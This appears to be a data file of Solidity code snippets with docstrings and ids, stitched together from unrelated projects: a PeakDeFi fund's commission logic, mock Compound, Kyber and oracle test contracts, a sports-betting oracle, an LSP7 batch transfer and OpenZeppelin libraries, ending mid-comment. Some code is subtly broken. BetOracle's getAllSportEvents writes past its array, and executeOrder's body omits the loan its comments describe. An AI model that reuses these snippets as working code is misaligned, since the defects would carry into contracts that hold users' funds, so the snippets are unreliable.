fullCommission.mul(riskTakenProportion).div(PRECISION); _penalty = fullCommission.sub(_commission); } /** * @notice Redeems commission. */ function redeemCommission(bool _inShares) public during(CyclePhase.Intermission) nonReentrant { uint256 commission = __redeemCommission(); if (_inShares) { // Deposit commission into fund __deposit(commission); // Emit deposit event emit Deposit( cycleNumber, msg.sender, USDC_ADDR, commission, commission, now ); } else { // Transfer the commission in USDC usdc.safeTransfer(msg.sender, commission); } } /** * @notice Redeems commission for a particular cycle. * @param _inShares true to redeem in PeakDeFi Shares, false to redeem in USDC * @param _cycle the cycle for which the commission will be redeemed. * Commissions for a cycle will be redeemed during the Intermission phase of the next cycle, so _cycle must < cycleNumber. */ function redeemCommissionForCycle(bool _inShares, uint256 _cycle) public during(CyclePhase.Intermission) nonReentrant { require(_cycle < cycleNumber); uint256 commission = __redeemCommissionForCycle(_cycle); if (_inShares) { // Deposit commission into fund __deposit(commission); // Emit deposit event emit Deposit( cycleNumber, msg.sender, USDC_ADDR, commission, commission, now ); } else { // Transfer the commission in USDC usdc.safeTransfer(msg.sender, commission); } } /** * @notice Redeems the commission for all previous cycles. Updates the related variables. * @return the amount of commission to be redeemed */ function __redeemCommission() internal returns (uint256 _commission) { require(lastCommissionRedemption(msg.sender) < cycleNumber); uint256 penalty; // penalty received for not taking enough risk (_commission, penalty) = commissionBalanceOf(msg.sender); // record the redemption to prevent double-redemption for ( uint256 i = lastCommissionRedemption(msg.sender); i < cycleNumber; i++ ) { _hasRedeemedCommissionForCycle[msg.sender][i] = true; } _lastCommissionRedemption[msg.sender] = cycleNumber; // record the decrease in commission pool totalCommissionLeft = totalCommissionLeft.sub(_commission); // include commission penalty to this cycle's total commission pool _totalCommissionOfCycle[cycleNumber] = totalCommissionOfCycle( cycleNumber ) .add(penalty); // clear investment arrays to save space delete userInvestments[msg.sender]; delete userCompoundOrders[msg.sender]; emit CommissionPaid(cycleNumber, msg.sender, _commission); } /** * @notice Redeems commission for a particular cycle. Updates the related variables. * @param _cycle the cycle for which the commission will be redeemed * @return the amount of commission to be redeemed */ function __redeemCommissionForCycle(uint256 _cycle) internal returns (uint256 _commission) { require(!hasRedeemedCommissionForCycle(msg.sender, _cycle)); uint256 penalty; // penalty received for not taking enough risk (_commission, penalty) = commissionOfAt(msg.sender, _cycle); _hasRedeemedCommissionForCycle[msg.sender][_cycle] = true; // record the decrease in commission pool totalCommissionLeft = totalCommissionLeft.sub(_commission); // include commission penalty to this cycle's total commission pool _totalCommissionOfCycle[cycleNumber] = totalCommissionOfCycle( cycleNumber ) .add(penalty); // clear investment arrays to save space delete userInvestments[msg.sender]; delete userCompoundOrders[msg.sender]; emit CommissionPaid(_cycle, msg.sender, _commission); } /** * @notice Handles deposits by minting PeakDeFi Shares & updating total funds. * @param _depositUSDCAmount The amount of the deposit in USDC */ function __deposit(uint256 _depositUSDCAmount) internal { // Register investment and give shares if (sToken.totalSupply() == 0 || totalFundsInUSDC == 0) { require(sToken.generateTokens(msg.sender, _depositUSDCAmount)); } else { require( sToken.generateTokens( msg.sender, _depositUSDCAmount.mul(sToken.totalSupply()).div( totalFundsInUSDC ) ) ); } totalFundsInUSDC = totalFundsInUSDC.add(_depositUSDCAmount); } /** PeakDeFi */ /** * @notice Returns the commission balance of `_referrer` * @return the commission balance, denoted in USDC */ function peakReferralCommissionBalanceOf(address _referrer) public view returns (uint256 _commission) { if (peakReferralLastCommissionRedemption(_referrer) >= cycleNumber) { return (0); } uint256 cycle = peakReferralLastCommissionRedemption(_referrer) > 0 ? peakReferralLastCommissionRedemption(_referrer) : 1; uint256 cycleCommission; for (; cycle < cycleNumber; cycle++) { (cycleCommission) = peakReferralCommissionOfAt(_referrer, cycle); _commission = _commission.add(cycleCommission); } } /** * @notice Returns the commission amount received by `_referrer` in the `_cycle`th cycle * @return the commission amount, denoted in USDC */ function peakReferralCommissionOfAt(address _referrer, uint256 _cycle) public view returns (uint256 _commission) { _commission = peakReferralTotalCommissionOfCycle(_cycle) .mul( peakReferralToken.balanceOfAt( _referrer, managePhaseEndBlock(_cycle) ) ) .div(peakReferralToken.totalSupplyAt(managePhaseEndBlock(_cycle))); } /** * @notice Redeems commission. */ function peakReferralRedeemCommission() public during(CyclePhase.Intermission) nonReentrant { uint256 commission = __peakReferralRedeemCommission(); // Transfer the commission in USDC usdc.safeApprove(address(peakReward), commission); peakReward.payCommission(msg.sender, address(usdc), commission, false); } /** * @notice Redeems commission for a particular cycle. * @param _cycle the cycle for which the commission will be redeemed. * Commissions for a cycle will be redeemed during the Intermission phase of the next cycle, so _cycle must < cycleNumber. */ function peakReferralRedeemCommissionForCycle(uint256 _cycle) public during(CyclePhase.Intermission) nonReentrant { require(_cycle < cycleNumber); uint256 commission = __peakReferralRedeemCommissionForCycle(_cycle); // Transfer the commission in USDC usdc.safeApprove(address(peakReward), commission); peakReward.payCommission(msg.sender, address(usdc), commission, false); } /** * @notice Redeems the commission for all previous cycles. Updates the related variables. * @return the amount of commission to be redeemed */ function __peakReferralRedeemCommission() internal returns (uint256 _commission) { require(peakReferralLastCommissionRedemption(msg.sender) < cycleNumber); _commission = peakReferralCommissionBalanceOf(msg.sender); // record the redemption to prevent double-redemption for ( uint256 i = peakReferralLastCommissionRedemption(msg.sender); i < cycleNumber; i++ ) { _peakReferralHasRedeemedCommissionForCycle[msg.sender][i] = true; } _peakReferralLastCommissionRedemption[msg.sender] = cycleNumber; // record the decrease in commission pool peakReferralTotalCommissionLeft = peakReferralTotalCommissionLeft.sub( _commission ); emit PeakReferralCommissionPaid(cycleNumber, msg.sender, _commission); } /** * @notice Redeems commission for a particular cycle. Updates the related variables. * @param _cycle the cycle for which the commission will be redeemed * @return the amount of commission to be redeemed */ function __peakReferralRedeemCommissionForCycle(uint256 _cycle) internal returns (uint256 _commission) { require(!peakReferralHasRedeemedCommissionForCycle(msg.sender, _cycle)); _commission = peakReferralCommissionOfAt(msg.sender, _cycle); _peakReferralHasRedeemedCommissionForCycle[msg.sender][_cycle] = true; // record the decrease in commission pool peakReferralTotalCommissionLeft = peakReferralTotalCommissionLeft.sub( _commission ); emit PeakReferralCommissionPaid(_cycle, msg.sender, _commission); } } pragma solidity 0.5.17; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; import "../interfaces/CERC20.sol"; import "../interfaces/Comptroller.sol"; contract TestCERC20 is CERC20 { using SafeMath for uint; uint public constant PRECISION = 10 ** 18; uint public constant MAX_UINT = 2 ** 256 - 1; address public _underlying; uint public _exchangeRateCurrent = 10 ** (18 - 8) * PRECISION; mapping(address => uint) public _balanceOf; mapping(address => uint) public _borrowBalanceCurrent; Comptroller public COMPTROLLER; constructor(address __underlying, address _comptrollerAddr) public { _underlying = __underlying; COMPTROLLER = Comptroller(_comptrollerAddr); } function mint(uint mintAmount) external returns (uint) { ERC20Detailed token = ERC20Detailed(_underlying); require(token.transferFrom(msg.sender, address(this), mintAmount)); _balanceOf[msg.sender] = _balanceOf[msg.sender].add(mintAmount.mul(10 ** this.decimals()).div(PRECISION)); return 0; } function redeemUnderlying(uint redeemAmount) external returns (uint) { _balanceOf[msg.sender] = _balanceOf[msg.sender].sub(redeemAmount.mul(10 ** this.decimals()).div(PRECISION)); ERC20Detailed token = ERC20Detailed(_underlying); require(token.transfer(msg.sender, redeemAmount)); return 0; } function borrow(uint amount) external returns (uint) { // add to borrow balance _borrowBalanceCurrent[msg.sender] = _borrowBalanceCurrent[msg.sender].add(amount); // transfer asset ERC20Detailed token = ERC20Detailed(_underlying); require(token.transfer(msg.sender, amount)); return 0; } function repayBorrow(uint amount) external returns (uint) { // accept repayment ERC20Detailed token = ERC20Detailed(_underlying); uint256 repayAmount = amount == MAX_UINT ? _borrowBalanceCurrent[msg.sender] : amount; require(token.transferFrom(msg.sender, address(this), repayAmount)); // subtract from borrow balance _borrowBalanceCurrent[msg.sender] = _borrowBalanceCurrent[msg.sender].sub(repayAmount); return 0; } function balanceOf(address account) external view returns (uint) { return _balanceOf[account]; } function borrowBalanceCurrent(address account) external returns (uint) { return _borrowBalanceCurrent[account]; } function underlying() external view returns (address) { return _underlying; } function exchangeRateCurrent() external returns (uint) { return _exchangeRateCurrent; } function decimals() external view returns (uint) { return 8; } } pragma solidity 0.5.17; import "./TestCERC20.sol"; contract TestCERC20Factory { mapping(address => address) public createdTokens; event CreatedToken(address underlying, address cToken); function newToken(address underlying, address comptroller) public returns(address) { require(createdTokens[underlying] == address(0)); TestCERC20 token = new TestCERC20(underlying, comptroller); createdTokens[underlying] = address(token); emit CreatedToken(underlying, address(token)); return address(token); } } pragma solidity 0.5.17; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../interfaces/CEther.sol"; import "../interfaces/Comptroller.sol"; contract TestCEther is CEther { using SafeMath for uint; uint public constant PRECISION = 10 ** 18; uint public _exchangeRateCurrent = 10 ** (18 - 8) * PRECISION; mapping(address => uint) public _balanceOf; mapping(address => uint) public _borrowBalanceCurrent; Comptroller public COMPTROLLER; constructor(address _comptrollerAddr) public { COMPTROLLER = Comptroller(_comptrollerAddr); } function mint() external payable { _balanceOf[msg.sender] = _balanceOf[msg.sender].add(msg.value.mul(10 ** this.decimals()).div(PRECISION)); } function redeemUnderlying(uint redeemAmount) external returns (uint) { _balanceOf[msg.sender] = _balanceOf[msg.sender].sub(redeemAmount.mul(10 ** this.decimals()).div(PRECISION)); msg.sender.transfer(redeemAmount); return 0; } function borrow(uint amount) external returns (uint) { // add to borrow balance _borrowBalanceCurrent[msg.sender] = _borrowBalanceCurrent[msg.sender].add(amount); // transfer asset msg.sender.transfer(amount); return 0; } function repayBorrow() external payable { _borrowBalanceCurrent[msg.sender] = _borrowBalanceCurrent[msg.sender].sub(msg.value); } function balanceOf(address account) external view returns (uint) { return _balanceOf[account]; } function borrowBalanceCurrent(address account) external returns (uint) { return _borrowBalanceCurrent[account]; } function exchangeRateCurrent() external returns (uint) { return _exchangeRateCurrent; } function decimals() external view returns (uint) { return 8; } function() external payable {} } pragma solidity 0.5.17; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../interfaces/Comptroller.sol"; import "../interfaces/PriceOracle.sol"; import "../interfaces/CERC20.sol"; contract TestComptroller is Comptroller { using SafeMath for uint; uint256 internal constant PRECISION = 10 ** 18; mapping(address => address[]) public getAssetsIn; uint256 internal collateralFactor = 2 * PRECISION / 3; constructor() public {} function enterMarkets(address[] calldata cTokens) external returns (uint[] memory) { uint[] memory errors = new uint[](cTokens.length); for (uint256 i = 0; i < cTokens.length; i = i.add(1)) { getAssetsIn[msg.sender].push(cTokens[i]); errors[i] = 0; } return errors; } function markets(address /*cToken*/) external view returns (bool isListed, uint256 collateralFactorMantissa) { return (true, collateralFactor); } } pragma solidity 0.5.17; import "../interfaces/KyberNetwork.sol"; import "../Utils.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; contract TestKyberNetwork is KyberNetwork, Utils(address(0), address(0), address(0)), Ownable { mapping(address => uint256) public priceInUSDC; constructor(address[] memory _tokens, uint256[] memory _pricesInUSDC) public { for (uint256 i = 0; i < _tokens.length; i = i.add(1)) { priceInUSDC[_tokens[i]] = _pricesInUSDC[i]; } } function setTokenPrice(address _token, uint256 _priceInUSDC) public onlyOwner { priceInUSDC[_token] = _priceInUSDC; } function setAllTokenPrices(address[] memory _tokens, uint256[] memory _pricesInUSDC) public onlyOwner { for (uint256 i = 0; i < _tokens.length; i = i.add(1)) { priceInUSDC[_tokens[i]] = _pricesInUSDC[i]; } } function getExpectedRate(ERC20Detailed src, ERC20Detailed dest, uint /*srcQty*/) external view returns (uint expectedRate, uint slippageRate) { uint256 result = priceInUSDC[address(src)].mul(10**getDecimals(dest)).mul(PRECISION).div(priceInUSDC[address(dest)].mul(10**getDecimals(src))); return (result, result); } function tradeWithHint( ERC20Detailed src, uint srcAmount, ERC20Detailed dest, address payable destAddress, uint maxDestAmount, uint /*minConversionRate*/, address /*walletId*/, bytes calldata /*hint*/ ) external payable returns(uint) { require(calcDestAmount(src, srcAmount, dest) <= maxDestAmount); if (address(src) == address(ETH_TOKEN_ADDRESS)) { require(srcAmount == msg.value); } else { require(src.transferFrom(msg.sender, address(this), srcAmount)); } if (address(dest) == address(ETH_TOKEN_ADDRESS)) { destAddress.transfer(calcDestAmount(src, srcAmount, dest)); } else { require(dest.transfer(destAddress, calcDestAmount(src, srcAmount, dest))); } return calcDestAmount(src, srcAmount, dest); } function calcDestAmount( ERC20Detailed src, uint srcAmount, ERC20Detailed dest ) internal view returns (uint destAmount) { return srcAmount.mul(priceInUSDC[address(src)]).mul(10**getDecimals(dest)).div(priceInUSDC[address(dest)].mul(10**getDecimals(src))); } function() external payable {} } pragma solidity 0.5.17; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; import "../interfaces/PriceOracle.sol"; import "../interfaces/CERC20.sol"; contract TestPriceOracle is PriceOracle, Ownable { using SafeMath for uint; uint public constant PRECISION = 10 ** 18; address public CETH_ADDR; mapping(address => uint256) public priceInUSD; constructor(address[] memory _tokens, uint256[] memory _pricesInUSD, address _cETH) public { for (uint256 i = 0; i < _tokens.length; i = i.add(1)) { priceInUSD[_tokens[i]] = _pricesInUSD[i]; } CETH_ADDR = _cETH; } function setTokenPrice(address _token, uint256 _priceInUSD) public onlyOwner { priceInUSD[_token] = _priceInUSD; } function getUnderlyingPrice(address _cToken) external view returns (uint) { if (_cToken == CETH_ADDR) { return priceInUSD[_cToken]; } CERC20 cToken = CERC20(_cToken); ERC20Detailed underlying = ERC20Detailed(cToken.underlying()); return priceInUSD[_cToken].mul(PRECISION).div(10 ** uint256(underlying.decimals())); } } pragma solidity 0.5.17; import "@openzeppelin/contracts/token/ERC20/ERC20Mintable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; /** * @title An ERC20 token used for testing. * @author Zefram Lou (Zebang Liu) */ contract TestToken is ERC20Mintable, ERC20Burnable, ERC20Detailed { constructor(string memory name, string memory symbol, uint8 decimals) public ERC20Detailed(name, symbol, decimals) {} } pragma solidity 0.5.17; import "./TestToken.sol"; contract TestTokenFactory { mapping(bytes32 => address) public createdTokens; event CreatedToken(string symbol, address addr); function newToken(string memory name, string memory symbol, uint8 decimals) public returns(address) { bytes32 symbolHash = keccak256(abi.encodePacked(symbol)); require(createdTokens[symbolHash] == address(0)); TestToken token = new TestToken(name, symbol, decimals); token.addMinter(msg.sender); token.renounceMinter(); createdTokens[symbolHash] = address(token); emit CreatedToken(symbol, address(token)); return address(token); } function getToken(string memory symbol) public view returns(address) { return createdTokens[keccak256(abi.encodePacked(symbol))]; } } pragma solidity 0.5.17; contract TestUniswapOracle { function update() external returns (bool success) { return true; } function consult(address token, uint256 amountIn) external view returns (uint256 amountOut) { return 3 * 10**5; // 1 PEAK = 0.30 USDC } }
Get funds in USDC from PeakDeFiFund Convert received USDC to longing token Enter Compound markets Get loan from Compound in USDC Convert borrowed USDC to longing token Repay leftover USDC to avoid complications
function executeOrder(uint256 _minPrice, uint256 _maxPrice) public onlyOwner isValidToken(compoundTokenAddr) isValidPrice(_minPrice, _maxPrice) { buyTime = now; (,uint256 actualTokenAmount) = __sellUSDCForToken(collateralAmountInUSDC); CERC20 market = CERC20(compoundTokenAddr); address[] memory markets = new address[](2); markets[0] = compoundTokenAddr; markets[1] = address(CUSDC); uint[] memory errors = COMPTROLLER.enterMarkets(markets); require(errors[0] == 0 && errors[1] == 0); ERC20Detailed token = __underlyingToken(compoundTokenAddr); (bool negLiquidity, ) = getCurrentLiquidityInUSDC(); __sellUSDCForToken(loanAmountInUSDC); if (usdc.balanceOf(address(this)) > 0) { uint256 repayAmount = usdc.balanceOf(address(this)); usdc.safeApprove(address(CUSDC), 0); usdc.safeApprove(address(CUSDC), repayAmount); require(CUSDC.repayBorrow(repayAmount) == 0); usdc.safeApprove(address(CUSDC), 0); } }
15,851,547
./full_match/80001/0xEE10B9123e7E95D630ba7478067E88aeB261cce8/sources/contracts/GameContract.sol
Create an array to hold the details for all games Iterate over all games and populate the details
function getAllGames() external view returns (GameDetails[] memory) { GameDetails[] memory allGames = new GameDetails[](gameId.current()); for (uint256 i = 0; i < gameId.current(); i++) { Game memory game = gameMapping[i]; allGames[i] = GameDetails( game.player1, game.player2, game.player1Option, game.player2Option, game.state, game.prize, game.winner ); } return allGames; }
5,661,625
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./OracleInterface.sol"; /** * @title An smart-contract Oracle that register sport events, retrieve their outcomes and communicate their results when asked for. * @notice Collects and provides information on sport events and their outcomes */ contract BetOracle is OracleInterface, Ownable, ReentrancyGuard { /** * @dev all the sport events */ SportEvent[] events; /* * @dev map of composed {eventId (SHA3 of event key infos) => eventIndex (in events)} pairs */ mapping(bytes32 => uint) eventIdToIndex; /*** * @dev defines a sport event along with its outcome */ struct SportEvent { bytes32 id; string name; string participants; uint8 participantCount; uint date; EventOutcome outcome; int8 winner; } // FYI: enum EventOutcome is defind in OracleInterface /** * @dev Triggered once an event has been added */ event SportEventAdded( bytes32 _eventId, string _name, string _participants, uint8 _participantCount, uint _date, EventOutcome _eventOutcome, int8 _winner ); /** * @notice Add a new pending sport event into the blockchain * @param _name descriptive name for the sport event (e.g. Pac vs. Mayweather 2016) * @param _participants |-delimited string of participants names (e.g. "Montpellier|Monaco") * @param _participantCount number of participants * @param _date date set for the sport event * @return the unique id of the newly created sport event */ function addSportEvent( string memory _name, string memory _participants, uint8 _participantCount, uint _date ) public onlyOwner nonReentrant returns (bytes32) { bytes memory bytesName = bytes(_name); require(bytesName.length > 0, "_name cannot be empty"); require( _date >= block.timestamp + 1 weeks, "_date must be >= 1 week from now" ); // Hash key fields of the sport event to get a unique id bytes32 eventId = keccak256(abi.encodePacked(_name, _participantCount, _date)); // Make sure that the sport event is unique and does not exist yet require( !eventExists(eventId), "Event already exists"); // Add the sport event events.push( SportEvent(eventId, _name, _participants, _participantCount, _date, EventOutcome.Pending, -1)); uint newIndex = events.length - 1; eventIdToIndex[eventId] = newIndex + 1; emit SportEventAdded( eventId, _name, _participants, _participantCount, _date, EventOutcome.Pending, -1 // no winner yet ); // Return the unique id of the new sport event return eventId; } /** * @notice Returns the array index of the sport event with the given id * @dev if the event id is invalid, then the return value will be incorrect and may cause error; you must call eventExists(_eventId) first! * @param _eventId the sport event id to get * @return the array index of this event if it exists or else -1 */ function _getMatchIndex(bytes32 _eventId) private view returns (uint) { return eventIdToIndex[_eventId] - 1; } /** * @notice Determines whether a sport event exists with the given id * @param _eventId the id of a sport event id * @return true if sport event exists and its id is valid */ function eventExists(bytes32 _eventId) public view override returns (bool) { if (events.length == 0) { return false; } uint index = eventIdToIndex[_eventId]; return (index > 0); } /** * @notice Sets the outcome of a predefined match, permanently on the blockchain * @param _eventId unique id of the match to modify * @param _outcome outcome of the match * @param _winner 0-based id of the winnner */ function declareOutcome(bytes32 _eventId, EventOutcome _outcome, int8 _winner) onlyOwner external { // Require that it exists require(eventExists(_eventId)); // Get the event uint index = _getMatchIndex(_eventId); SportEvent storage theMatch = events[index]; if (_outcome == EventOutcome.Decided) require(_winner >= 0 && theMatch.participantCount > uint8(_winner)); // Set the outcome theMatch.outcome = _outcome; // Set the winner (if there is one) if (_outcome == EventOutcome.Decided) theMatch.winner = _winner; } /** * @notice gets the unique ids of all pending events, in reverse chronological order * @return an array of unique pending events ids */ function getPendingEvents() public view override returns (bytes32[] memory) { uint count = 0; // Get the count of pending events for (uint i = 0; i < events.length; i = i + 1) { if (events[i].outcome == EventOutcome.Pending) count = count + 1; } // Collect up all the pending events bytes32[] memory output = new bytes32[](count); if (count > 0) { uint index = 0; for (uint n = events.length; n > 0; n = n - 1) { if (events[n - 1].outcome == EventOutcome.Pending) { output[index] = events[n - 1].id; index = index + 1; } } } return output; } /** * @notice gets the unique ids of events, pending and decided, in reverse chronological order * @return an array of unique match ids */ function getAllSportEvents() public view override returns (bytes32[] memory) { bytes32[] memory eventIds = new bytes32[](events.length); // Collect all event ids if (events.length > 0) { uint index = 0; for (uint n = events.length; n > 0; n = n - 1) { eventIds[index = index + 1] = events[n - 1].id; } } return eventIds; } /** * @notice gets the specified sport event and return its data * @param _eventId the unique id of the desired event * @return id the id of the event * @return name the name of the event * @return participants a string with the name of the event's participants separated with a pipe symbol ('|') * @return participantCount the number of the event's participants * @return date when the event takes place * @return outcome an integer that represents the event outcome * @return winner the index of the winner */ function getEvent(bytes32 _eventId) public view override returns ( bytes32 id, string memory name, string memory participants, uint8 participantCount, uint date, EventOutcome outcome, int8 winner ) { // Get the sport event if (eventExists(_eventId)) { SportEvent storage theMatch = events[_getMatchIndex(_eventId)]; return (theMatch.id, theMatch.name, theMatch.participants, theMatch.participantCount, theMatch.date, theMatch.outcome, theMatch.winner); } else { return (_eventId, "", "", 0, 0, EventOutcome.Pending, -1); } } /** * @notice return the data of the most recent sport event * @param _pending if true, returns only the most recent pending sport event; * otherwise, returns the most recent sport event either pending or completed * @return id the id of the event * @return name the name of the event * @return participants a string with the name of the event's participants separated with a pipe symbol ('|') * @return participantCount the number of the event's participants * @return date when the event takes place * @return outcome an integer that represents the event outcome * @return winner the index of the winner */ function getLatestEvent(bool _pending) public view override returns ( bytes32 id, string memory name, string memory participants, uint8 participantCount, uint date, EventOutcome outcome, int8 winner ) { bytes32 eventId = 0; bytes32[] memory ids; if (_pending) { ids = getPendingEvents(); } else { ids = getAllSportEvents(); } if (ids.length > 0) { eventId = ids[0]; } // Return a null sport event by default return getEvent(eventId); } /** * @notice gets the address of this contract * @return the address of the BetOracle smart-contract */ function getAddress() public view returns (address) { return address(this); } /** * @notice can be used by a client contract to ensure that they've connected to this contract interface successfully * @return true, unconditionally */ function testConnection() public pure override returns (bool) { return true; } }
Determines whether a sport event exists with the given id _eventId the id of a sport event id return true if sport event exists and its id is valid/
function eventExists(bytes32 _eventId) public view override returns (bool) { if (events.length == 0) { return false; } uint index = eventIdToIndex[_eventId]; return (index > 0); }
6,362,373
./full_match/11155111/0x6B086AA45FDC47ea899f7881FF511D89a59CA4B3/sources/@lukso/lsp-smart-contracts/contracts/LSP7DigitalAsset/LSP7DigitalAssetCore.sol
@inheritdoc ILSP7DigitalAsset/ using the public transfer function to handle updates to operator authorized amounts
function transferBatch( address[] memory from, address[] memory to, uint256[] memory amount, bool[] memory allowNonLSP1Recipient, bytes[] memory data ) public virtual { uint256 fromLength = from.length; if ( fromLength != to.length || fromLength != amount.length || fromLength != allowNonLSP1Recipient.length || fromLength != data.length ) { revert LSP7InvalidTransferBatch(); } for (uint256 i = 0; i < fromLength; ) { transfer( from[i], to[i], amount[i], allowNonLSP1Recipient[i], data[i] ); unchecked { ++i; } } }
3,835,905
./partial_match/1/0xa52966d88586E708B128Bc22e7A8B7900A7918AC/sources/RobotTradingIco.sol
Constructor of ICO. Requires address of accManager, _accManager Address of ICO manager
function RobotTradingIco(address _accManager) { assert(_accManager != 0x0); robottradingToken = new RobotTradingToken(this); accManager = _accManager; }
3,656,055
/** *Submitted for verification at Etherscan.io on 2021-05-07 */ // Sources flattened with hardhat v2.2.1 https://hardhat.org // File @openzeppelin/contracts/utils/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/access/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File @openzeppelin/contracts/GSN/[email protected] pragma solidity >=0.6.0 <0.8.0; // File @openzeppelin/contracts/introspection/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/math/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the 